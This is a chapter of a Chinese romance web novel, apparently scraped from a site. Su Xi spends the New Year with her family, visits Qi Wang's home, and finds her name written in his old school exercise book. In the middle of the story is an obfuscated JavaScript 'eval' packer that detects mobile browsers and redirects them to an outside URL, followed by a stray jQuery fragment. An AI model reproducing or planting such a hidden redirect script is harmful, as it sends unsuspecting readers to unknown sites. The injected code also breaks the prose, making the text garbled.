还在高速上，苏溪就跟父母说过预计到家的时间。车子刚在门前停下，大门就被打开了。


    苏劲秋和张蓉芳同时出来，苏溪还没喊人，就看到他们腿边跟出来两个小东西。


    一只白色长毛小狗，还有一只胖橘猫。


    苏溪盯着看了会儿，“这两只……你们养得？”


    张蓉芳同戚妄打了声招呼，才回，“对啊，你猜猜哪里来的。”


    她只把橘猫抱在怀里，急得小狗在她腿边转圈。


    苏溪猜不出来，张蓉芳笑着说，“你们之前不是采访过‘流浪之家’嘛，我打他们电话了。放心，他们不知道我和你的关系。”


    不仅苏溪诧异，几步外正在搬行李的戚妄也抬头望向张蓉芳。


    回来的路上，苏溪就觉得这次会是个好年。没想到年夜还没过，就过得比预想还要好了。


    苏溪笑着蹲在地上，试探着朝小狗伸出手，“你好？”


    小狗嗅嗅苏溪的手指，开心地摇尾靠近。


    苏劲秋想留戚妄吃晚饭，戚妄说爸妈在家里等着，苏劲秋没再多话挽留。


    戚妄和小狗玩了会儿，起身看着苏溪说，“那我先回去了。”


    苏溪，“嗯，注意安全。”


    戚妄顿了顿，“新年快乐。”


    苏溪看着戚妄的眼睛，笑着说，“新年快乐。”


    车影渐渐消失，三人进家门，苏溪打量着新家。


    张蓉芳说，“以前老小区怕扰民，不好养动物，现在换了地方一点不用担心了。”


    张蓉芳看着很高兴，苏溪笑了下，“看来我做法是对的。”


    张蓉芳笑得合不拢嘴。


    苏劲秋，“……”


    张蓉芳去厨房端菜，苏溪一把抓住想去帮忙的苏劲秋，“爸。”


    苏劲秋停下，“怎么了？”


    苏溪小声问，“我妈看着特别高兴啊。”


    苏劲秋朝厨房看了眼，见张蓉芳看不见，低声回答，“自从换了房子，你妈就一直这么起劲儿。”


    苏溪观察他，“您就不开心嘛？”


    苏劲秋一噎，“开心，我女儿给我买别墅，我能不开心嘛。”


    苏溪，“行，明天早上给我包个大红包啊。”


    苏劲秋拍拍苏溪的脑袋瓜，“这还用你提醒？爸爸早就给你准备好了。”


    新年的第一晚是在新家睡的，苏溪一夜好眠。


    早起吃早餐，属于她的位置上摆了两个厚厚的红包，苏溪问，“有两个？”


    张蓉芳，“我和你爸一人一个。”


    苏溪笑了下，“谢谢爸爸妈妈。”


    有几年没在家过年了，苏溪跟着父母去奶奶家拜年。大年初一最热闹，地方大，热闹也更浓了。


    上次见面还是学生的表妹，这回已经要实习工作了。


    表妹，“姐姐，新年快乐。”


    苏溪，“新年快乐。”她说完，从口袋里拿出早就备好的红包递过去。


    表妹连忙摆手，“我不能要，我已经实习了。”


    苏溪，“你没实习之前，我一直没在家，就当补之前的。”


    表妹看向远处的父母，他们开心的说着话，丝毫没注意背后局促的她，犹豫一会儿，伸手接过，“谢谢姐姐。”


    苏溪很自然地问她在哪里实习，表妹说在本地的一家制造公司做出纳。


    “姐姐，你在电视上紧张吗？”表妹好奇问了一句。


    苏溪想了想，“也会紧张的，但要分情况。”


    表妹眼中流露出钦佩，苏溪觉得有点熟悉，像……许淼淼。


    这两人好像都是实习生啊。


    想到这里，苏溪点开许淼淼的微信，发了个红包。


    对方应该也在拜早年，没有回复。


    又有小孩儿靠过来，苏溪每个人都给了红包，最后居然被他们父母给退回来了。


    手握一大把红包像抓牌的苏溪，“……”


    ……


    大年初三，这天家里有空，苏溪昨天就和张蓉芳说过，今天不用准备她的早饭，她要去戚妄家拜年。


    张蓉芳抱着狗子问，“要不要让你爸送你去？”


    苏溪穿上外套，在玄关换鞋，“不用，我自己开车去，他一来一回也麻烦的。”


    张蓉芳，“那行，你到了跟我说一声啊。”


    苏溪，“好，我走了。”


    苏溪开着苏劲秋那辆奥迪出了电子门，慢速行驶在路上。


    半个小时后，车子停在戚妄家楼下，苏溪提着三个礼盒进去电梯。


    戚家的门居然留着一丝缝，里面隐隐有说话声传出，听上去人不少。苏溪犹豫一下，按下电子铃，有脚步声在门内逐渐靠近。


    戚妄打开门，出现在眼中，他似乎很喜欢毛衣，不同的是颜色，上次是灰色，这次是白色的。


    苏溪微笑，“新年快乐，我来拜年了。”


    她想提起手里的三个礼盒，只是其中一样有些重，提到半空胳膊就没劲儿了。


    戚妄立刻从她手中接过，“怎么没叫我？”


    苏溪问，“今天你家客人很多？”


    “不多，我表姐一家。”戚妄补了一句，“你上次见过。”


    苏溪想到记忆最深的那位，“安安？”


    戚妄，“对，是她。”


    “舅舅~”说曹操曹操到，背后传来小奶音。小爪扒住戚妄的裤子，大眼睛朝着苏溪忽闪忽闪。


    苏溪俯身碰了碰安安的脸蛋，“你好，还记得我是谁吗？”


    安安点点脑袋，咧着一口奶牙笑，“姐姐，恭喜财财，红包拉来！”


    戚妄，“……又来这招，你是见一个人就喊一次啊。”


    苏溪流利的从口袋里摸出一个红包，放到面前的小爪里，“你也发财，这是你的。”


    安安一双眼睛亮亮的，“蟹蟹~”转身朝客厅跑，回去找妈妈，小腿儿跑得飞快。


    苏溪又从口袋里摸出一个红包，递给戚妄，“新年快乐。”


    戚妄盯着红包上的小金龙，“我也有？”


    苏溪点头。


    戚妄怔忪接过，红包刚到手，吴湘就走过来，“溪溪，你来啦。新年好，站在门口做什么，快进来喝枣茶！”


    苏溪看向戚妄，低声说，“东西麻烦你帮我拿进来吧。”


    “嗯。”


    戚妄说着，苏溪已经转身去了客厅，对话声立刻响起，和前两天宾客来家的早晨没有区别，但……也有不同。


    戚妄手指在红包上轻轻摩挲，纹理光滑，小金龙整个身体略微凸起，触感圆润冰凉。


    江陵的拜年枣茶总是煮的又甜又红，苏溪只要了一小碗，里面有三颗红枣，戚妄端给她的。


    吴湘听到她说没吃早饭，立刻去下馄饨了，苏溪拒绝的话都没能说出来。


    又来了客人，他们在餐桌上坐下，吃着枣茶。苏溪在他们对面吃馄饨。


    两方不认识的人，互相对视一下。


    “新年好。”


    “新年好。”


    互相打完招呼，对方好奇问，“吴湘，戚妄带女朋友回来啦？”


    吴湘一下愣住，整个屋子都安静了一瞬。


    吴湘，“她不是，就是来拜年的。”


    “哦~枣茶你少放点就行，不用麻烦，我们沾个嘴就好。”


    吴湘，“新年就一次，哪能这么糊弄，多吃点！”


    两方寒暄。


    苏溪兀自吃着馄饨，戚妄在她旁边坐下，也捧了碗馄饨，里面大约五六个。


    苏溪，“你就吃这么一点？”


    戚妄，“我早饭吃过了。”


    苏溪舀馄饨的手顿住，“？”


    戚妄埋头，安静吃着。


    馄饨刚出锅，很烫，两人无声吃着，倒是把对面客人家的小孩儿给馋着了。安安也来凑热闹，两个小孩儿各装了半碗。


    客人还有赶去其他家拜年，留了一会儿就走了。


    戚妄收碗的时候，对苏溪快速说了一句，“今天留饭的只有我表姐薛漫他们，没有其他人。”


    苏溪微愣。


    戚妄已经收好碗筷，去厨房了。


    这是怕她尴尬？


    苏溪这么想着，笑了下。


    手机开始震动，是周楠发来的，她正好要来西泸出差，有两天休息时间，问苏溪去不去登山。


    西泸在江陵北面，那边有座乌秀山的确小有名气。


    苏溪问：【什么时候？】


    周楠：【明天，你来不？我还约了小邓两口子，杨震远不知道来不来。】


    邓学阳也是台里的主持人，之前苏溪去新疆，就是跟他一起的。


    苏溪：【看情况吧，不是太想动。】


    周楠：【好吧，另外还有件事要你帮忙。】


    苏溪：【嗯，你说呢。】


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017039|157190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    周楠：【小邓说去年演讲节目的资料你那里有总集？方便发我下不？】


    苏溪想了想：【有，等我下。】


    手机里有，但是需要解析。苏溪去厨房找戚妄，“你有电脑吗？我给周楠传个文件。”


    戚妄，“有，在我房间。”


    苏溪，“你拿给我，还是……”


    戚妄手上全是泡沫，“没事，你直接用，密码是我名字的拼音加123。”


    苏溪，“好。”


    房间挺大，有点空，一眼望去都是临时放置的物品。


    进门就是一张长电脑桌，摆着一台深灰色的笔记本，还有一台盖着米白色防尘布的台式机，桌子正上方是堆满书的书架。


    苏溪坐在椅子里，打开笔记本，等密码跳出来开始输入：qiwang123。


    屏幕跳转，苏溪找到微信登陆，但没想到微信是自动登陆的，陌生的聊天对话框忽然出现，苏溪愣了下。


    对话框全是未打开的红点，除了群聊，属余洸的最多，20+。


    不是苏溪多想看，主要是直到现在他还依旧上加，没一会儿就冒到了35+，整个电脑屏幕的右上方，是余洸不停发来的对话。


    【见家长啦！快恭喜我！】


    【我老婆今儿可美了，随我丈母娘。】


    【你呢，苏溪没上你家拜年？】


    【说话啊，人呢？】


    【羡慕我就直说！不用遮遮掩掩滴，我都懂，哈哈哈~】


    苏溪关掉整个微信大窗口，只单独把余洸拉了出来，敲字发送。


    【她来了。】


    余洸：【哦豁，我已经感觉到了你躁动的内心~快去把苏溪圈在怀里亲！】


    苏溪，“……”


    【余洸。】


    苏溪敲下字，发送。


    余洸：【[冲啊][炸弹][哈哈哈]】


    苏溪：【因为一些原因，我在用戚妄的电脑。】


    一直吵闹的屏幕瞬间安静。


    余洸：【[不爽]大过年的，你就不能聊点阳间话题？】


    这很阴间吗？


    苏溪想着。


    【原来你在网上，比平时表现的更活泼。】


    屏幕再次变得安静，余洸久久没有回复。


    戚妄会这么讲话吗？会吗？


    苏溪在等回复，突然看到电脑屏幕上跳出语音电话提示，正想接通，对方却秒挂了，之后再无动静。


    苏溪挑眉，退掉微信登陆自己的，给周楠弄文件。


    苏溪进来没有关门，她隐约听到外面戚妄电话响了，和谁在说话。


    苏溪解析文件，发送给嗷嗷待哺的周楠。


    周楠：【mua谢谢宝儿。】


    苏溪退出微信，起身准备离开时，看到书架上有一排眼熟的书籍，居然是《故事里》。


    她好奇地拿出其中一本，封面已经泛黄，但保存完好。


    苏溪大致看了眼，原路塞回去。


    《故事里》不厚，每本间隔互相紧挨着。苏溪另一只手也用上了，扒开一条缝往里塞。


    连抽带拉，刚塞进去，却意外地带出了另一本。


    这本泛黄痕迹更加严重，是本物理作业本。


    上面被人用黑笔写着：


    戚妄


    2011年3月。


    这是戚妄初中的作业本？


    苏溪略感兴趣地掀开一页，立刻被娟秀稚嫩的字体所吸引。


    其中一页用得蓝色圆珠笔，被时光打磨的已经晕开了。


    苏溪继续翻阅。


    忽然——


    手指猛地停顿在半空。


    这一面共两页纸。


    整两页，只写下了两个字。


    【苏溪】


    她的名字被人用黑笔，一笔一划，工整有力的写在了作业本里。


    整张空白页面，只写下了她的名字。


    苏溪怔在原地，纸业陈旧的味道扑面而来。


    她情不自禁伸出手，用指腹触摸这些纤细的笔画，好像这样就能看到当时写下这字的戚妄。


    年岁实在太久，整个本子只剩下了纸业的味道，笔墨的气味已经完全消失。


    当时的戚妄会是什么心情呢?


    苏溪摸着本子里晕开的字迹，沉默。


    11年前由戚妄亲手掩埋的哑弹，在11年后的今天，无声无息的炸开。